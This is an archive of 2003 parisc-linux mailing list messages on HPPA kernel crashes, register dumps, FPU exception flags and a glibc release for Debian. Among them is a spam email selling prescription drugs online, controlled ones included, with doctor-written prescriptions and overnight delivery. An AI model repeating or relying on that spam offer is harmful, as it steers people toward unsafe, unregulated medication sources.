	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19867

> What's generating the unaligned ldh?  This will really kill performance.
> GCC shouldn't do this...

it was one of the testcases, but i haven't figured out which one yet. it
doesn't do this for every testcase...

> My system also crashed last night, probably running the gcj testsuite.

probably, it crashed my machine 3 times before i figured it out :-)

if you do "echo 0 >> /proc/sys/kernel/unaligned-trap" before you run the
test then it should SIGBUS when it does this... 

i'll try to debug this a bit more as well. but we shouldn't crash the
kernel in any case :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was: do_page_fault?]
Date: Sun, 19 Oct 2003 19:49:08 +0000
Lines: 198
Approved: news@gmane.org
Message-ID: <3F92EAB4.7070802@tiscali.be>
References: <3F8A272E00000550@ocpmta3.freegates.net> <3F91ACEC.1010504@tiscali.be> <3F92AD98.3030104@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622889 314 80.91.229.3 (22 Nov 2014 02:21:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:29 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 13:49:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E191483E
	for <parisc-linux@parisc-linux.org>; Sun, 19 Oct 2003 13:49:14 -0600 (MDT)
Original-Received: from [62.235.120.212] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ABJY7-0003Jb-FE; Sun, 19 Oct 2003 21:49:11 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <3F92AD98.3030104@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19868

Hi pa,

Please apologies, I forget to mentioned an important matter:
with 2.6.0-test-pa1 it is not anymore a do_page_fault() but:
evolution (pid 2454): Protection id trap (code 27) 
 
 
YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI 
                            PSW: 00000000000001000000000000001111 Not 
tainted                                                       r00-03 
00000000 ffffff9c 1016fadc 15207b60 
                         r04-07  00000001 0027f220 000000c9 15207b60 
                                                          r08-11 
00000000 0027f228 00000001 fffffff2 
                         r12-15  418db608 418db718 418215a8 418215a8 
                                                          r16-19 
418db608 418215a8 00000070 00000000 
                         r20-23  00000001 00000002 0027f226 15207b6e 
                                                          r24-27 
00000000 00000001 16253f60 10374010 
                         r28-31  00000000 00000005 16028140 1016f8c0 
                                                          sr0-3 
00000000 00000050 00000000 00000050 
                         sr4-7   00000000 00000000 00000000 00000000 
 
 
                    IASQ: 00000000 00000000 IAOQ: 1016fbac 1016fbb0 
                                                      IIR: 0ed3d240 
ISR: 00000050  IOR: 0027f226 
                CPU:        0   CR30: 16028000 CR31: 103cd000 
                                                 ORIG_R28: 418215a8 
 
           IAOQ[0]: sys_poll+0x1f4/0x214 
                                            IAOQ[1]: 
sys_poll+0x1f8/0x214 
                        RP(r2): sys_poll+0x124/0x214 


as well as for 2.4:
evolution (pid 1045): Protection id trap (code 27) 
 
 
YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI 
                            PSW: 00000000000011101111111100001111 Not 
tainted                                                       r00-03 
00000000 00000000 1010e01c 12b1f244 
                         r04-07  faf02700 15310268 00000000 12b1f244 
                                                          r08-11 
00000000 15310460 faf02710 0000000b 
                         r12-15  00000000 418db718 418db608 00142980 
                                                          r16-19 
15310268 faf01e20 00000022 00000000 
                         r20-23  00000000 000000b0 00000001 15310460 
                                                          r24-27 
0000007f 15310509 faf02710 10330010 
                         r28-31  0000000b 00000001 15310740 10136da4 
                                                          sr0-3 
00000088 00000088 00000000 00000088 
                         sr4-7   00000000 00000000 00000000 00000000 
 
 
                    IASQ: 00000000 00000000 IAOQ: 102ec738 102ec730 
                                                      IIR: 0f415222 
ISR: 00000088  IOR: faf02710 
                CPU:        0   CR30: 15310000 CR31: 103d8000 
                                                 ORIG_R28: 00000000 
 


Sorry,
	Joel


Joel Soete wrote:
> Too bad,
> 
> The pb re-occurs also with 2.4.21-32 but this time during two kernels 
> (2.4.22 && 2.6) was build at the same time. When 2.6 was finished, I can 
> re-launch evolution without pb. Could it be a pb of swap? How may check 
> if its limits were reach at this moment?
> 
> Thanks,
>     Joel
> 
> 
> Joel Soete wrote:
> 
>> Carlos,
>>
>> I just reboot my C110 but with a kernel 2.4.21-32 and evolution works 
>> fine. OTC with k2.6 still failled. I will try to see later what is 
>> wrong :(
>>
>> Thanks again,
>>     Joel
>>
>>
>> Joel Soete wrote:
>>
>>> Hi Carlos,
>>>
>>> I just haven't such hw at my office where otc i can do some other 
>>> check on
>>> the b2k model.
>>>
>>> On this b2k (also installed with unstable debian) run fine the same 
>>> release
>>> of evolution (otc what i said).
>>> But it is booted with last 2.4 (a merge of 23-pre7 and 22-pa12) with 
>>> 256M
>>> of ram (only 128k for c110) and without mozilla-psm (a recommended or 
>>> suggested
>>> additional pkg added on c110).
>>>
>>> So a lot of test to figure out the present pb :)
>>>
>>> Thanks a lot ( I will advise you :) )
>>>     Joel
>>>
>>>
>>>> -- Original Message --
>>>> From: Carlos O'Donell <carlos@baldric.uwo.ca>
>>>> To: Joel Soete <soete.joel@tiscali.be>
>>>> Cc: parisc-linux@parisc-linux.org
>>>> Date: Sun, 12 Oct 2003 16:02:02 -0400
>>>> Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
>>>>
>>>>
>>>> On Sun, Oct 12, 2003 at 06:42:55PM +0000, Joel Soete wrote:
>>>> Hello Carlos,
>>>>
>>>> I launch 'gbd evolution'
>>>> (gdb) run
>>>> to determine the new address in this env but failed before with 
>>>> message:
>>>> Program received signal SIG37, Real-time event 37.
>>>
>>>
>>>
>>>
>>>>> 0x4193c574 in malloc_set_state () from /lib/libc.so.6
>>>>
>>>>
>>>>
>>>> what's your opinion?
>>>
>>>
>>>
>>>
>>> That's libpthreads realtime singal mechanism working.
>>> You need to set "handle all nostop" and "handle all pass" in gdb.
>>>
>>> Then you can do the math with /proc/<pid>
>>>
>>>> maps and the dying address to
>>>
>>>
>>>
>>> calculate the _real_ library offset and function symbolic name.
>>>
>>> c.
>>> _______________________________________________
>>> parisc-linux mailing list
>>> parisc-linux@lists.parisc-linux.org
>>> http://lists.parisc-linux.org/mailman
>>>
>>>> listinfo/parisc-linux
>>>
>>>
>>>
>>>
>>>
>>>
>>> ------------------------------------------------------------------------- 
>>>
>>> L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
>>> pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr
>>>
>>> _______________________________________________
>>> parisc-linux mailing list
>>> parisc-linux@lists.parisc-linux.org
>>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>>
>>
>>
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] menu: update-menus failled on hppa?
Date: Sun, 19 Oct 2003 19:59:06 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <3F92ED0A.3010806@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622889 315 80.91.229.3 (22 Nov 2014 02:21:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 13:59:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id CBD0C483E
	for <parisc-linux@parisc-linux.org>; Sun, 19 Oct 2003 13:59:04 -0600 (MDT)
Original-Received: from [62.235.120.212] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ABJhf-0003lu-Vs; Sun, 19 Oct 2003 21:59:04 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19869

Hi pa,

I noticed from a certain time that (but always forget to report, sorry):
update-menus[1098]: Cannot lock /var/run/update-menus.pid: Resource 
temporarily unavailable Aborting.

Is anybody else encounter also this pb (with debian/unstable at least)?

Joel



From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPPA FPU Specification? (FE_INEXACT raised by accident)
Date: Sun, 19 Oct 2003 17:51:30 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20031019215130.GG8642@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622889 316 80.91.229.3 (22 Nov 2014 02:21:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 15:55:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0DD5483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 15:55:19 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABLSV-00061l-00; Sun, 19 Oct 2003 17:51:31 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (52% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19870

jda,

I've noticed that I cannot generate an underflow or overflow exception
without also forcing an inexact exception on my PA 2.0 system. Are you
familiar with this behaviour at all? I'm trying to straighten our fenv
setup, and this is really the last crinkle.

Raising an overflow is done with "DBL_MAX + DBL_MAX", while the
underflow is "DBL_MIN/3.0". Both raise FE_INEXACT aswell.

Cheers,
Carlos.



From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was: do_page_fault?]
Date: Sun, 19 Oct 2003 19:10:15 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20031019231015.GH8642@systemhalted>
References: <3F8A272E00000550@ocpmta3.freegates.net> <3F91ACEC.1010504@tiscali.be> <3F92AD98.3030104@tiscali.be> <3F92EAB4.7070802@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622890 318 80.91.229.3 (22 Nov 2014 02:21:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 17:14:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 850C5483E
	for <parisc-linux@parisc-linux.org>; Sun, 19 Oct 2003 17:14:10 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABMgi-0006Cu-00; Sun, 19 Oct 2003 19:10:16 -0400
Content-Disposition: inline
In-Reply-To: <3F92EAB4.7070802@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19871

On Sun, Oct 19, 2003 at 07:49:08PM +0000, Joel Soete wrote:
> Hi pa,
> 
> Please apologies, I forget to mentioned an important matter:
> with 2.6.0-test-pa1 it is not anymore a do_page_fault() but:
> evolution (pid 2454): Protection id trap (code 27) 

Do not wrap lines like this. 
 
> YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI 
>                            PSW: 00000000000001000000000000001111 Not 
> tainted                                                       r00-03 

You should really run evolution through gdb. Remember to use "handle all
nostop" and "handle all pass".

c.


From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HPPA FPU Specification? (FE_INEXACT raised by accident)
Date: Sun, 19 Oct 2003 19:16:03 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200310192316.h9JNG3At027825@hiauly1.hia.nrc.ca>
References: <20031019215130.GG8642@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622890 324 80.91.229.3 (22 Nov 2014 02:21:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:30 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 17:16:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 920AD483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 17:16:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9JNG4DF027827;
	Sun, 19 Oct 2003 19:16:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9JNG3At027825;
	Sun, 19 Oct 2003 19:16:03 -0400 (EDT)
In-Reply-To: <20031019215130.GG8642@systemhalted> from "Carlos O'Donell" at Oct 19, 2003 05:51:30 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19872

> I've noticed that I cannot generate an underflow or overflow exception
> without also forcing an inexact exception on my PA 2.0 system. Are you
> familiar with this behaviour at all? I'm trying to straighten our fenv
> setup, and this is really the last crinkle.

I suggest looking at page 10-7.  It describes the PA 2.0 behavior
for this situation.  I'm not an IEEE so I don't know offhand what it
mandates.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2-9 for hppa - "when hell freezes over" release
Date: Sun, 19 Oct 2003 19:50:05 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20031019235005.GI8642__24411.4897134297$1416622890$gmane$org@systemhalted>
References: <20031017181252.GE27289@systemhalted> <20031019181341.GF8642@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622890 327 80.91.229.3 (22 Nov 2014 02:21:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, LaMont Jones <lamont@hp.com>
To: debian-glibc@lists.debian.org, Jeff Bailey <jbailey@nisa.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 17:54:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A4EE48E5
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 17:54:08 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABNJF-0006Jb-00; Sun, 19 Oct 2003 19:50:05 -0400
Content-Disposition: inline
In-Reply-To: <20031019181341.GF8642@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19873

On Sun, Oct 19, 2003 at 02:13:42PM -0400, Carlos O'Donell wrote:
> On Fri, Oct 17, 2003 at 02:12:52PM -0400, Carlos O'Donell wrote:
> > Please wait 2 days before doing the upload, I am in the process 
> > of getting other testers to make sure this release is of the
> > highest quality possible. If the testers do not agree with the
> > release quality I will request by email a delay of 2 more days 
> > to repatch and test, followed by an update to the list.
> 
> Requesting 2 more days.
> 
> - nscd is faulting on unaligned loads during real workload testing.
> 	= Remove unaligned handler and debug from core.

Fixed. Typo in syscall cancellation code. The corner case was a six arg
syscall that used said typo'd code (recvfrom). This should really be the
case to add threaded networking test code into libc's testsuite ;)
 
> - Looking into mlockall failures.

Passes QA on a 2.4 kernel (posix testsuite). 2.6 seems broken, though
that is unrelated to glibc.

Will produce a new patch and new testing debs. Thanks go to all the
testers that turned up these problems.

c.



From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Judith Armstrong" <bv570lnqc@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ePHARMACY - VIA.GRA, Soma, Celebrex - HUGE DISCOUNTS............. mcd  bluvnlsrqpqr m
Date: Sun, 19 Oct 2003 19:26:42 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <2$$346s-r50cp-rl-6e@766h.1.xjmd>
Reply-To: "Judith Armstrong" <bv570lnqc@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="25.._324_68085_B2AB3C_."
X-Trace: ger.gmane.org 1416622891 331 80.91.229.3 (22 Nov 2014 02:21:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:31 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 19:35:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ool-435697fe.dyn.optonline.net (ool-435697fe.dyn.optonline.net [67.86.151.254])
	by dsl2.external.hp.com (Postfix) with SMTP id 81E3648ED
	for <parisc-linux@parisc-linux.org>; Sun, 19 Oct 2003 19:35:15 -0600 (MDT)
Original-Received: from [6.223.190.14]
	by ool-435697fe.dyn.optonline.net id <7829911-26118>;
	Sun, 19 Oct 2003 19:26:42 -0700
X-Mailer: eGroups Message Poster
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19874

--25.._324_68085_B2AB3C_.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<b><font size=3D"5">Rx Online</font></b><p>Wholesale Prescription Medicati=
ons -
<a href=3D"http://www.downtown-services.com/23/">Come On In</a><br>
<br>
Our Licensed Doctors Will Write Your Prescription</p>
</p>
<p>
<a href=3D"http://www.downtown-services.com/23/">Come On In</a></p>
</p>
Allergies: allegra--clarinex--flonase--zyrtec <br>
Antibiotics: cipro <br>
Cold Sores: denavir <br>
Depression: celexa--lexapro--paxil--prozac--remeron--sarafem--zoloft <br>
Heartburn: nexium--prevacid--prilosec <br>
Herpes Treatment: aldara--condylox--denavir--valtrex <br>
Men's Health: propecia--viaegra <br>
Motion Sickness: transderm--scop <br>
Pain Relief: celebrex--fioricet--tramadol--ultram--vioxx <br>
Muscle Relaxers--cyclobenzaprine--flexeril--skelaxin--soma--zanaflex <br>
Skin Care: renova--retin a--metrogel--temovate <br>
Sleep Aid: ambien--sonata <br>
Stop Smoking: zyban <br>
Weight-Loss: adipex--bontril--didrex--ionamin--meridia--phentermine--tenua=
te--xenical<p>
<a href=3D"http://www.downtown-services.com/23/">Come On In</a><br>
<br>
All Popular Medications Prescribed &amp; Delivered Overnight!</p>
</p>
If you wish to be excluded from future mailings,
<a href=3D"http://www.downtown-services.com/away.html">Follow me...</a></p=
>nr eudw jzu vj 
  xvao etyv gt
rfaykgxbf  mwtlohdpn  oudwo  wqnyvcav

--25.._324_68085_B2AB3C_.--



From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ks_c_5601-1987?B?sMewrcDMutK4tsau?= <webmaster@noble21.co.kr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?ks_c_5601-1987?B?W7GksO1dx8e3zsfPvcq0z7HuPyDAzMGoIMbtvsjI9yDB1rmrvcOw7SC788Tox9EgvsbEp8C7ILjC
Date: Sun, 19 Oct 2003 22:26:25 -0600 (MDT)
Lines: 68
Approved: news@gmane.org
